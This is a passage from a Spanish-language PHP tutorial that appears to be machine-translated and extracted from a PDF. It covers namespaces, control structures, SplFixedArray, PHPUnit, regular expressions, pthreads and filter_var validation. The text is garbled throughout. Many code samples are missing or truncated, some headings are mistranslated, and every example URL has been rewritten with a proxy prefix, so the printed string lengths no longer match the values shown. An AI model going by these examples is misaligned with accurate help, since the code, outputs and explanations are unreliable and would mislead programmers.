Triangle, //Same as `use MyProject\Shapes\Triangle`
use MyProject\Shapes\Oval;
https://riptutorial.com/es/home 186
use MyProject\Languages\Oval; // Apparantly Oval is also a language!
// Error!
Esto se puede resolver definiendo un nombre para el alias usando la palabra clave as :
Para hacer referencia a una clase fuera del espacio de nombres actual, debe escaparse con una
\ , de lo contrario se asume una ruta de espacio de nombres relativa a partir del espacio de
nombres actual:
namespace MyProject\Shapes;
La comunidad de PHP tiene muchos desarrolladores que crean muchos códigos. Esto significa
que el código PHP de una biblioteca puede usar el mismo nombre de clase que otra biblioteca.
Cuando ambas bibliotecas se usan en el mismo espacio de nombres, chocan y causan
problemas.
Los espacios de nombres resuelven este problema. Como se describe en el manual de referencia
de PHP, los espacios de nombres se pueden comparar con los directorios del sistema operativo
que contienen los archivos de espacios de nombres; dos archivos con el mismo nombre pueden
coexistir en directorios separados. Del mismo modo, dos clases de PHP con el mismo nombre
pueden coexistir en espacios de nombres de PHP separados.
Es importante que escriba un espacio de nombre en su código para que otros desarrolladores
puedan utilizarlo sin temor a colisionar con otras bibliotecas.
Para declarar un solo espacio de nombres con jerarquía, utilice el siguiente ejemplo:
https://riptutorial.com/es/home 187
namespace MyProject\Sub\Level;
const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
constante MyProject\Sub\Level\CONNECT_OK
clase MyProject\Sub\Level\Connection y
función MyProject\Sub\Level\connect
https://riptutorial.com/es/home 188
Capítulo 40: Estructuras de Control
Examples
Sintaxis alternativa para estructuras de control.
PHP proporciona una sintaxis alternativa para algunas estructuras de control: if , while , for ,
foreach y switch .
Cuando se compara con la sintaxis normal, la diferencia es, que la llave de apertura se sustituye
por dos puntos ( : ) y la llave de cierre se sustituye por endif; al endwhile; endfor; , endforeach; , o
endswitch; , respectivamente. Para ejemplos individuales, vea el tema sobre la sintaxis alternativa
para las estructuras de control .
if ($a == 42):
echo "The answer to life, the universe and everything is 42.";
endif;
if ($a == 5):
echo "a equals 5";
elseif ($a == 6):
echo "a equals 6";
else:
echo "a is neither 5 nor 6";
endif;
mientras
whilebucle se repite a través de un bloque de código siempre que una condición especificada sea
verdadera.
$i = 1;
while ($i < 10) {
echo $i;
$i++;
}
Salida: 123456789
hacer mientras
do-while bucle do-while while primero ejecuta un bloque de código una vez, en cada caso, luego
https://riptutorial.com/es/home 189
itera a través de ese bloque de código siempre que una condición específica sea verdadera.
$i = 0;
do {
$i++;
echo $i;
} while ($i < 10);
Output: `12345678910`
ir
El operador goto permite saltar a otra sección en el programa. Está disponible desde PHP 5.3.
El objetivo del salto se especifica mediante una etiqueta seguida de dos puntos: MyLabel:
<?php
goto MyLabel;
echo 'This text will be skipped, because of the jump.';
MyLabel:
echo 'Hello World!';
?>
declarar
declare se utiliza para establecer una directiva de ejecución para un bloque de código.
• ticks
• encoding
• strict_types
declare(ticks=1);
Para habilitar el modo de tipo estricto, la declare declaración se utiliza con la declaración
strict_types :
declare(strict_types=1);
si mas
https://riptutorial.com/es/home 190
La instrucción if en el ejemplo anterior permite ejecutar un fragmento de código, cuando se
cumple la condición. Cuando desea ejecutar un fragmento de código, cuando no se cumple la
condición, puede extender el if con else .
El operador ternario evalúa algo basándose en que una condición es verdadera o no. Es un
operador de comparación y se usa a menudo para expresar una condición simple en caso de que
exista en una forma más corta. Permite probar rápidamente una condición y, a menudo,
reemplaza una línea multilínea if, lo que hace que su código sea más compacto.
Este es el ejemplo anterior utilizando una expresión ternaria y valores de variables: $a=1; $b=2;
echo ($a > $b) ? "a is greater than b" : "a is NOT greater than b";
incluir y requerir
exigir
require es similar a include , excepto que producirá un error de nivel E_COMPILE_ERROR fatal en
E_COMPILE_ERROR error. Cuando el require falla, detendrá el script. Cuando la include falla, no
detendrá la secuencia de comandos y solo emitirá E_WARNING .
require 'file.php';
incluir
La declaración de include incluye y evalúa un archivo.
./variables.php
$a = 'Hello World!';
. / main.php`
https://riptutorial.com/es/home 191
include 'variables.php';
echo $a;
// Output: `Hello World!`
Tenga cuidado con este enfoque, ya que se considera un olor de código , ya que el archivo
incluido está modificando la cantidad y el contenido de las variables definidas en el alcance dado.
También puede include archivo, que devuelve un valor. Esto es extremadamente útil para
manejar matrices de configuración:
configuracion.php
<?php
return [
'dbname' => 'my db',
'user' => 'admin',
'pass' => 'password',
];
main.php
<?php
$config = include 'configuration.php';
Este enfoque evitará que el archivo incluido contamine su alcance actual con variables
modificadas o agregadas.
include & require también se puede usar para asignar valores a una variable cuando se
devuelve algo por archivo.
Ejemplo:
archivo include1.php:
<?php
$a = "This is to be returned";
return $a;
?>
archivo index.php:
regreso
https://riptutorial.com/es/home 192
La declaración de return devuelve el control del programa a la función de llamada.
Cuando se llama a return desde dentro de una función, la ejecución de la función actual
terminará.
function returnEndsFunctions()
{
echo 'This is executed';
return;
echo 'This is not executed.';
}
Cuando se llama a return dentro de una función con y argumento, la ejecución de la función
actual finalizará y el valor del argumento se devolverá a la función que llama.
para
forbucles se utilizan normalmente cuando tienes un fragmento de código que deseas repetir un
número determinado de veces.
Salidas: 123456789
para cada
foreach es una construcción, que le permite iterar sobre matrices y objetos fácilmente.
Salidas: 123 .
Para usar el bucle foreach con un objeto, debe implementar la interfaz Iterator .
$array = ['color'=>'red'];
https://riptutorial.com/es/home 193
Salidas: color: red
elseif
elseif combina if y if else . La instrucción if se extiende para ejecutar una instrucción diferente
en caso de que la expresión original if no se cumpla. Pero, la expresión alternativa solo se
ejecuta cuando se cumple la expresión condicional elseif .
El siguiente código muestra "a es más grande que b", "a es igual a b" o "a es más pequeño que
b":
if ($a == 1) {
echo "a is One";
} elseif ($a == 2) {
echo "a is Two";
} elseif ($a == 3) {
echo "a is Three";
} else {
echo "a is not One, not Two nor Three";
}
Si
cambiar
La estructura del switch realiza la misma función que una serie de sentencias if , pero puede
hacer el trabajo en menos líneas de código. El valor que se va a probar, como se define en la
https://riptutorial.com/es/home 194
declaración de switch , se compara para igualar con los valores en cada una de las declaraciones
de case hasta que se encuentra una coincidencia y se ejecuta el código en ese bloque. Si no se
encuentra una declaración de case coincidente, se ejecuta el código en el bloque default , si
existe.
Cada bloque de código en un case o declaración por default debe terminar con la declaración de
break . Esto detiene la ejecución de la estructura del switch y continúa la ejecución del código
inmediatamente después. Si se omite la instrucción break , se ejecuta el código de la siguiente
declaración de case , incluso si no hay coincidencia . Esto puede causar la ejecución inesperada
del código si se olvida la instrucción break , pero también puede ser útil cuando varias
declaraciones de case necesitan compartir el mismo código.
switch ($colour) {
case "red":
echo "the colour is red";
break;
case "green":
case "blue":
echo "the colour is green or blue";
break;
case "yellow":
echo "the colour is yellow";
// note missing break, the next block will also be executed
case "black":
echo "the colour is black";
break;
default:
echo "the colour is something else";
break;
}
Además de probar valores fijos, la construcción también puede ser obligada a probar
declaraciones dinámicas al proporcionar un valor booleano a la instrucción switch y cualquier
expresión a la declaración del case . Tenga en cuenta que se utiliza el primer valor coincidente,
por lo que el siguiente código dará como resultado "más de 100":
$i = 1048;
switch (true) {
case ($i > 0):
echo "more than 0";
break;
case ($i > 100):
echo "more than 100";
break;
case ($i > 1000):
echo "more than 1000";
break;
}
Para posibles problemas con la escritura suelta mientras se usa la construcción del switch ,
consulte Cambiar sorpresas
https://riptutorial.com/es/home 195
Capítulo 41: Estructuras de datos SPL
Examples
SplFixedArray
https://riptutorial.com/es/home 196
Entonces, como puede ver en esta ilustración, una matriz PHP normal se puede ver más como un
conjunto ordenado de pares clave / valor, donde cada clave se puede asignar a cualquier valor.
Note que en esta matriz tenemos claves que son tanto números como cadenas, como valores de
diferentes tipos y la clave no tiene relación con el orden de los elementos.
$arr = [
9 => "foo",
1 => 4.2,
"bar" => null,
];
9 => foo
1 => 4.2
bar =>
Las matrices regulares de PHP también tienen un tamaño dinámico para nosotros. Crecen y se
encogen a medida que empujamos y hacemos estallar los valores desde y hacia la matriz,
automáticamente.
Sin embargo, en una matriz tradicional, el tamaño es fijo y consiste completamente en el mismo
tipo de valor. Además, en lugar de claves, cada valor es el acceso por su índice, que puede
deducirse por su desplazamiento en la matriz.
https://riptutorial.com/es/home 197
Como sabríamos el tamaño de un tipo dado y el tamaño fijo de la matriz, un desplazamiento es el
type size * n n representa la posición del valor en la matriz. Entonces, en el ejemplo anterior,
$arr[0] nos da 1 , el primer elemento de la matriz y $arr[1] nos da 2 , y así sucesivamente.
SplFixedArray, sin embargo, no restringe el tipo de valores. Sólo restringe las claves a los tipos de
números. También es de un tamaño fijo.
Esto hace que SplFixedArrays sea más eficiente que los arreglos PHP normales de una manera
particular. Son más compactos por lo que requieren menos memoria.
Creando la matriz
SplFixedArray se implementa como un objeto, pero se puede acceder con la misma sintaxis
familiar a la que accede a una matriz PHP normal, ya que implementan la interfaz ArrayAccess .
También implementan las interfaces Countable e Iterator para que se comporten de la misma
manera que lo harías con las matrices que se comportan en PHP (es decir, cosas como
count($arr) y foreach($arr as $k => $v) funcionan de la misma manera para SplFixedArray ya que
hacen arreglos normales en PHP.
$arr[0] = "foo";
$arr[1] = "bar";
$arr[2] = "baz";
0 => foo
1 => bar
2 => baz
3 =>
var_dump(count($arr));
Nos da...
int(4)
Note que en SplFixedArray, a diferencia de una matriz PHP normal, la clave representa el orden
del elemento en nuestra matriz, porque es un índice verdadero y no solo un mapa .
https://riptutorial.com/es/home 198
Cambiar el tamaño de la matriz
Solo tenga en cuenta que debido a que la matriz es de un tamaño fijo, la cuenta siempre
devolverá el mismo valor. Así que mientras unset($arr[1]) dará como resultado $arr[1] === null ,
la count($arr) aún permanece en 4 .
Por lo tanto, para cambiar el tamaño de la matriz, deberá llamar al método setSize .
$arr->setSize(3);
var_dump(count($arr));
int(3)
0 => foo
1 =>
2 => baz
$array = [1,2,3,4,5];
$fixedArray = SplFixedArray::fromArray($array);
foreach($fixedArray as $value) {
echo $value, "\n";
}
1
2
3
4
5
$fixedArray[0] = 1;
$fixedArray[1] = 2;
https://riptutorial.com/es/home 199
$fixedArray[2] = 3;
$fixedArray[3] = 4;
$fixedArray[4] = 5;
$array = $fixedArray->toArray();
foreach($array as $value) {
echo $value, "\n";
}
1
2
3
4
5
https://riptutorial.com/es/home 200
Capítulo 42: Examen de la unidad
Sintaxis
• Lista completa de afirmaciones . Ejemplos:
• assertTrue(bool $condition[, string $messageIfFalse = '']);
• assertEquals(mixed $expected, mixed $actual[, string $messageIfNotEqual = '']);
Observaciones
Unit pruebas Unit se utilizan para probar el código fuente para ver si contiene acuerdos con
entradas como esperamos. Unit pruebas Unit son soportadas por la mayoría de los marcos. Hay
varias pruebas diferentes de PHPUnit y pueden diferir en la sintaxis. En este ejemplo estamos
usando PHPUnit .
Examples
Pruebas de reglas de clase
Digamos, tenemos un LoginForm simple de clase LoginForm con reglas () (utilizado en la página de
inicio de sesión como plantilla de marco):
class LoginForm {
public $email;
public $rememberMe;
public $password;
/* rules() method returns an array with what each field has as a requirement.
* Login form uses email and password to authenticate user.
*/
public function rules() {
return [
// Email and Password are both required
[['email', 'password'], 'required'],
// Password must match this pattern (must contain only letters and numbers)
['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'],
];
}
/** the validate function checks for correctness of the passed rules */
public function validate($rule) {
$success = true;
list($var, $type) = $rule;
foreach ((array) $var as $var) {
https://riptutorial.com/es/home 201
switch ($type) {
case "required":
$success = $success && $this->$var != "";
break;
case "email":
$success = $success && filter_var($this->$var, FILTER_VALIDATE_EMAIL);
break;
case "boolean":
$success = $success && filter_var($this->$var, FILTER_VALIDATE_BOOLEAN,
FILTER_NULL_ON_FAILURE) !== null;
break;
case "match":
$success = $success && preg_match($rule["pattern"], $this->$var);
break;
default:
throw new \InvalidArgumentException("Invalid filter type passed")
}
}
return $success;
}
}
Para realizar pruebas en esta clase, usamos pruebas de unidad (verificando el código fuente
para ver si se ajusta a nuestras expectativas):
/**
* This method belongs to Unit test class LoginFormTest and
* it's testing rules that are described above.
*/
public function testRuleValidation() {
$rules = $this->loginForm->rules();
https://riptutorial.com/es/home 202
// Revert email to valid for next test
$this->loginForm->email = '[email protected]';
¿Cómo pueden ayudar exactamente las pruebas Unit (excluyendo ejemplos generales) aquí? Por
ejemplo, encaja muy bien cuando obtenemos resultados inesperados. Por ejemplo, tomemos esta
regla de antes:
Con docenas de reglas diferentes (asumiendo que estamos usando no solo correo electrónico y
contraseña), es difícil detectar errores. Esta prueba unitaria:
Pasará nuestro primer ejemplo pero no el segundo . ¿Por qué? Porque en el segundo ejemplo
escribimos un patrón con un error tipográfico (signo + perdido), lo que significa que solo acepta
una letra / número.
Las pruebas unitarias se pueden ejecutar en la consola con el comando: phpunit [path_to_file] .
Si todo está bien, deberíamos poder ver que todas las pruebas están en estado OK , de lo
contrario, veremos Error (errores de sintaxis) o Fail (al menos una línea en ese método no se
aprobó).
Con parámetros adicionales como --coverage también podemos ver visualmente cuántas líneas en
el código de back-end se probaron y cuáles pasaron / fallaron. Esto se aplica a cualquier marco
https://riptutorial.com/es/home 203
que haya instalado PHPUnit .
Los métodos de prueba a menudo necesitan datos para ser probados. Para probar algunos
métodos completamente, debe proporcionar diferentes conjuntos de datos para cada posible
https://riptutorial.com/es/home 204
condición de prueba. Por supuesto, puedes hacerlo manualmente usando bucles, como este:
...
public function testSomething()
{
$data = [...];
foreach($data as $dataSet) {
$this->assertSomething($dataSet);
}
}
...
Y alguien puede encontrarlo conveniente. Pero hay algunos inconvenientes de este enfoque.
Primero, tendrá que realizar acciones adicionales para extraer datos si su función de prueba
acepta varios parámetros. En segundo lugar, en caso de error, sería difícil distinguir el conjunto
de datos con errores sin mensajes adicionales y depuración. En tercer lugar, PHPUnit
proporciona una forma automática de manejar los conjuntos de datos de prueba utilizando
proveedores de datos .
El proveedor de datos es una función que debe devolver datos para su caso de prueba particular.
Para usar un proveedor de datos con su prueba, use la anotación @dataProvider con el nombre de
la función del proveedor de datos especificada:
/**
* @dataProvider dataProviderForTest
*/
public function testEquals($a, $b)
{
$this->assertEquals($a, $b);
}
Array de matrices
Tenga en cuenta que dataProviderForTest() devuelve una matriz de matrices. Cada
matriz anidada tiene dos elementos y llenarán los parámetros necesarios para
testEquals() uno por uno. Se lanzará un error como este. Missing argument 2 for
Test::testEquals() si no hay suficientes elementos. PHPUnit pasará automáticamente
https://riptutorial.com/es/home 205
por los datos y ejecutará pruebas:
Cada conjunto de datos puede ser nombrado por conveniencia. Será más fácil detectar los datos
que fallan:
Iteradores
function rewind() {
return reset($this->array);
}
function current() {
return current($this->array);
}
function key() {
return key($this->array);
}
function next() {
return next($this->array);
}
function valid() {
return key($this->array) !== null;
}
}
...
https://riptutorial.com/es/home 206
/**
* @dataProvider dataProviderForTest
*/
public function testEquals($a)
{
$toCompare = 0;
$this->assertEquals($a, $toCompare);
}
Tenga en cuenta que incluso para un solo parámetro, el proveedor de datos debe
devolver una matriz [$parameter]
Porque si cambiamos nuestro método current() (que en realidad devuelve datos en cada
iteración) a esto:
function current() {
return current($this->array)[0];
}
Obtendremos un error:
1) Warning
The data provider specified for Test::testEquals is invalid.
Por supuesto, no es útil usar el objeto Iterator sobre una matriz simple. Debería
implementar alguna lógica específica para su caso.
Generadores
No se indica ni se muestra explícitamente en el manual, pero también puede usar un generador
https://riptutorial.com/es/home 207
como proveedor de datos. Tenga en cuenta que la clase Generator realmente implementa la
interfaz Iterator .
/**
* @param string $file
*
* @dataProvider fileDataProvider
*/
public function testSomethingWithFiles($fileName)
{
//$fileName is available here
Excepciones de prueba
class Car
{
/**
* @throws \Exception
*/
public function drive()
{
throw new \Exception('Useful message', 1);
}
}
Puede hacerlo encerrando la llamada al método en un bloque try / catch y haciendo afirmaciones
sobre las propiedades del objeto de exección, pero más convenientemente puede usar métodos
de afirmación de excepción. A partir de PHPUnit 5.2 , tiene métodos expectX () disponibles para
confirmar el tipo de excepción, el mensaje y el código
https://riptutorial.com/es/home 208
// prepare
$car = new \Car();
$expectedClass = \Exception::class;
$expectedMessage = 'Useful message';
$expectedCode = 1;
// test
$this->expectException($expectedClass);
$this->expectMessage($expectedMessage);
$this->expectCode($expectedCode);
// invoke
$car->drive();
}
}
// test
$this->setExpectedException($expectedClass, $expectedMessage, $expectedCode);
// invoke
$car->drive();
}
}
https://riptutorial.com/es/home 209
Capítulo 43: Expresiones regulares (regexp /
PCRE)
Sintaxis
• preg_replace($pattern, $replacement, $subject, $limit = -1, $count = 0);
• preg_replace_callback($pattern, $callback, $subject, $limit = -1, $count = 0);
• preg_match($pattern, $subject, &$matches, $flags = 0, $offset = 0);
• preg_match_all($pattern, $subject, &$matches, $flags = PREG_PATTERN_ORDER, $offset = 0);
• preg_split($pattern, $subject, $limit = -1, $flags = 0)
Parámetros
Parámetro Detalles
Observaciones
Las expresiones regulares de PHP siguen los estándares de patrones PCRE, que se derivan de
las expresiones regulares de Perl.
Todas las cadenas PCRE en PHP deben incluirse entre delimitadores. Un delimitador puede ser
cualquier carácter no alfanumérico, sin barra inversa, sin espacios en blanco. Los delimitadores
populares son ~ , / , % por ejemplo.
Los patrones de PCRE pueden contener grupos, clases de caracteres, grupos de caracteres,
aseveraciones anticipadas / anticipadas y personajes escapados.
Es posible usar modificadores PCRE en la cadena $pattern . Algunos de los más comunes son i
(no distingue mayúsculas y minúsculas), m (multilínea) y s (el punto metacaracteriano incluye
líneas nuevas). El modificador g (global) no está permitido, en su lugar usará la función
preg_match_all .
Las coincidencias con las cadenas PCRE se realizan con $ cadenas prefijadas numeradas:
<?php
Examples
https://riptutorial.com/es/home 210
Coincidencia de cadenas con expresiones regulares
Si pasa un tercer parámetro, se rellenará con los datos coincidentes de la expresión regular:
$matches contiene una matriz de la concordancia completa y luego las subcadenas en la expresión
regular delimitada por paréntesis, en el orden de desplazamiento de paréntesis abierto. Eso
significa que, si tiene /z(a(b))/ como expresión regular, el índice 0 contiene la subcadena
completa zab , el índice 1 contiene la subcadena delimitada por los paréntesis externos ab y el
índice 2 contiene los paréntesis internos b .
Salida:
Array
(
[0] => PHP
[1] => CSS
[2] => HTML
[3] => AJAX
[4] => JSON
)
Para dividir una cadena en una matriz, simplemente pase la cadena y una preg_split(); para
preg_split(); para hacer coincidir y buscar, agregar un tercer parámetro ( limit ) le permite
establecer el número de "coincidencias" que se realizarán, la cadena restante se agregará al final
de la matriz.
El cuarto parámetro es ( flags ) aquí usamos el PREG_SPLIT_NO_EMPTY que evita que nuestra matriz
https://riptutorial.com/es/home 211
contenga cualquier clave / valor vacío.
$string = "a;b;c\nd;e;f";
// $1, $2 and $3 represent the first, second and third capturing groups
echo preg_replace("(^([^;]+);([^;]+);([^;]+)$)m", "$3;$2;$1", $string);
Salidas
c;b;a
f;e;d
Si se le da una matriz, $matches contendrá la matriz en un formato similar que obtendría con
preg_match , excepto que preg_match detiene en la primera coincidencia, donde preg_match_all
repite en la cadena hasta que la cadena se consume por completo y devuelve el resultado de
cada iteración en una matriz multidimensional , cuyo formato puede ser controlado por la bandera
en el cuarto argumento.
https://riptutorial.com/es/home 212
array(3) {
[0]=>
array(2) {
[0]=>
string(3) "a1b"
[1]=>
string(1) "1"
}
[1]=>
array(2) {
[0]=>
string(3) "c2d"
[1]=>
string(1) "2"
}
[2]=>
array(2) {
[0]=>
string(3) "f4g"
[1]=>
string(1) "4"
}
}
$matchestiene tres matrices anidadas. Cada matriz representa una coincidencia, que tiene el
mismo formato que el resultado de retorno de preg_match .
array(2) {
[0]=>
array(3) {
[0]=>
string(3) "a1b"
[1]=>
string(3) "c2d"
[2]=>
string(3) "f4g"
}
[1]=>
array(3) {
[0]=>
string(1) "1"
[1]=>
string(1) "2"
[2]=>
string(1) "4"
}
}
array(2) {
[0] =>
string(3) "a1b"
[1] =>
string(1) "1"
https://riptutorial.com/es/home 213
}
$subject = "He said 123abc, I said 456efg, then she said 789hij";
$regex = "/\b(\d+)\w+/";
print_r($replaced_str);
# He said <i>123abc</i>, I said <i>456efg</i>, then she said <b>789hij</b>
https://riptutorial.com/es/home 214
Capítulo 44: Extensión de roscado múltiple
Observaciones
Con pthreads v3 pthreads solo se puede cargar cuando se usa el cli SAPI, por lo que
es una buena práctica mantener la directiva extension=pthreads.so en php-cli.ini
SOLAMENTE, si está utilizando PHP7 y Pthreads v3.
extension=php_pthreads.dll
Con respecto a los usuarios de Linux , debe reemplazar .dll por .so :
extension=pthreads.so
Puede ejecutar este comando directamente para agregarlo a php.ini (cambie /etc/php.ini con su
ruta personalizada)
Examples
Empezando
Para comenzar con subprocesos múltiples, necesitaría el pthreads-ext para php, que puede ser
instalado por
Un ejemplo simple:
<?php
// NOTE: Code uses PHP7 semantics.
class MyThread extends Thread {
/**
* @var string
* Variable to contain the message to be displayed.
*/
private $message;
https://riptutorial.com/es/home 215
$this->message = $message;
}
// Instantiate MyThread
$myThread = new MyThread("Hello from an another thread!");
// Start the thread. Also it is always a good practice to join the thread explicitly.
// Thread::start() is used to initiate the thread,
$myThread->start();
// and Thread::join() causes the context to wait for the thread to finish executing
$myThread->join();
Los grupos y los trabajadores proporcionan un mayor nivel de control y facilidad de creación de
subprocesos múltiples
<?php
// This is the *Work* which would be ran by the worker.
// The work which you'd want to do in your worker.
// This class needs to extend the \Threaded or \Collectable or \Thread class.
class AwesomeWork extends Thread {
private $workName;
/**
* @param string $workName
* The work name wich would be given to every work.
*/
public function __construct(string $workName) {
// The block of code in the constructor of your work,
// would be executed when a work is submitted to your pool.
$this->workName = $workName;
printf("A new work was submitted with the name: %s\n", $workName);
}
https://riptutorial.com/es/home 216
// You can put some code in here, which would be executed
// before the Work's are started (the block of code in the `run` method of your Work)
// by the Worker.
/* ... */
}
}
https://riptutorial.com/es/home 217
Capítulo 45: Filtros y funciones de filtro
Introducción
Esta extensión filtra los datos mediante la validación o la desinfección. Esto es especialmente útil
cuando la fuente de datos contiene datos desconocidos (o extraños), como la entrada
proporcionada por el usuario. Por ejemplo, estos datos pueden provenir de un formulario HTML.
Sintaxis
• filter_var mixto (variable $ variable [, int $ filtro = FILTER_DEFAULT [, $ opciones
mezcladas]])
Parámetros
Parámetro Detalles
Valor para filtrar. Tenga en cuenta que los valores escalares se convierten en
variable
cadena internamente antes de filtrarlos.
------ ------
El ID del filtro a aplicar. La página de manual Tipos de filtros enumera los filtros
disponibles. Si se omite, se utilizará FILTER_DEFAULT, que es equivalente a
filtrar
FILTER_UNSAFE_RAW. Esto dará lugar a que no se realice ningún filtrado de
forma predeterminada.
------ ------
Examples
Validar correo electrónico
Al filtrar una dirección de correo electrónico, filter_var() devolverá los datos filtrados, en este
caso la dirección de correo electrónico, o falso si no se puede encontrar una dirección de correo
electrónico válida:
https://riptutorial.com/es/home 218
var_dump(filter_var('[email protected]', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('notValidEmail', FILTER_VALIDATE_EMAIL));
Resultados:
string(16) "[email protected]"
bool(false)
Tenga en cuenta que no puede saber si la dirección de correo electrónico es correcta antes de
enviarle un correo electrónico. Es posible que desee realizar algunas verificaciones adicionales,
como verificar un registro MX, pero esto no es necesario. Si envía un correo electrónico de
confirmación, no olvide eliminar las cuentas no utilizadas después de un breve período.
Al filtrar un valor que debería ser un entero filter_var() devolverá los datos filtrados, en este
caso el entero, o falso si el valor no es un entero. Los flotadores no son enteros:
var_dump(filter_var('10', FILTER_VALIDATE_INT));
var_dump(filter_var('a10', FILTER_VALIDATE_INT));
var_dump(filter_var('10a', FILTER_VALIDATE_INT));
var_dump(filter_var(' ', FILTER_VALIDATE_INT));
var_dump(filter_var('10.00', FILTER_VALIDATE_INT));
var_dump(filter_var('10,000', FILTER_VALIDATE_INT));
var_dump(filter_var('-5', FILTER_VALIDATE_INT));
var_dump(filter_var('+7', FILTER_VALIDATE_INT));
Resultados:
int(10)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
int(-5)
int(7)
Si convierte este valor en un entero, no tiene que hacer esta comprobación y, por lo tanto, puede
usar filter_var .
https://riptutorial.com/es/home 219
Validando un número entero cae en un rango
Al validar que un entero cae dentro de un rango, la verificación incluye los límites mínimo y
máximo:
$options = array(
'options' => array(
'min_range' => 5,
'max_range' => 10,
)
);
var_dump(filter_var('5', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('10', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('8', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('4', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('11', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('-6', FILTER_VALIDATE_INT, $options));
Resultados:
int(5)
int(10)
int(8)
bool(false)
bool(false)
bool(false)
Al filtrar una URL, filter_var() devolverá los datos filtrados, en este caso la URL, o false si no se
puede encontrar una URL válida:
URL: example.com
var_dump(filter_var('example.com', FILTER_VALIDATE_URL));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
Resultados:
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
URL: http://example.com
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));
https://riptutorial.com/es/home 220
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
Resultados:
string(18) "http://example.com"
string(18) "http://example.com"
string(18) "http://example.com"
bool(false)
bool(false)
URL: http://www.example.com
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_QUERY_REQUIRED));
Resultados:
string(22) "http://www.example.com"
string(22) "http://www.example.com"
string(22) "http://www.example.com"
bool(false)
bool(false)
URL: http://www.example.com/path/to/dir/
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_QUERY_REQUIRED));
Resultados:
string(35) "http://www.example.com/path/to/dir/"
string(35) "http://www.example.com/path/to/dir/"
string(35) "http://www.example.com/path/to/dir/"
string(35) "http://www.example.com/path/to/dir/"
bool(false)
URL: http://www.example.com/path/to/dir/index.php
https://riptutorial.com/es/home 221
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_QUERY_REQUIRED));
Resultados:
string(44) "http://www.example.com/path/to/dir/index.php"
string(44) "http://www.example.com/path/to/dir/index.php"
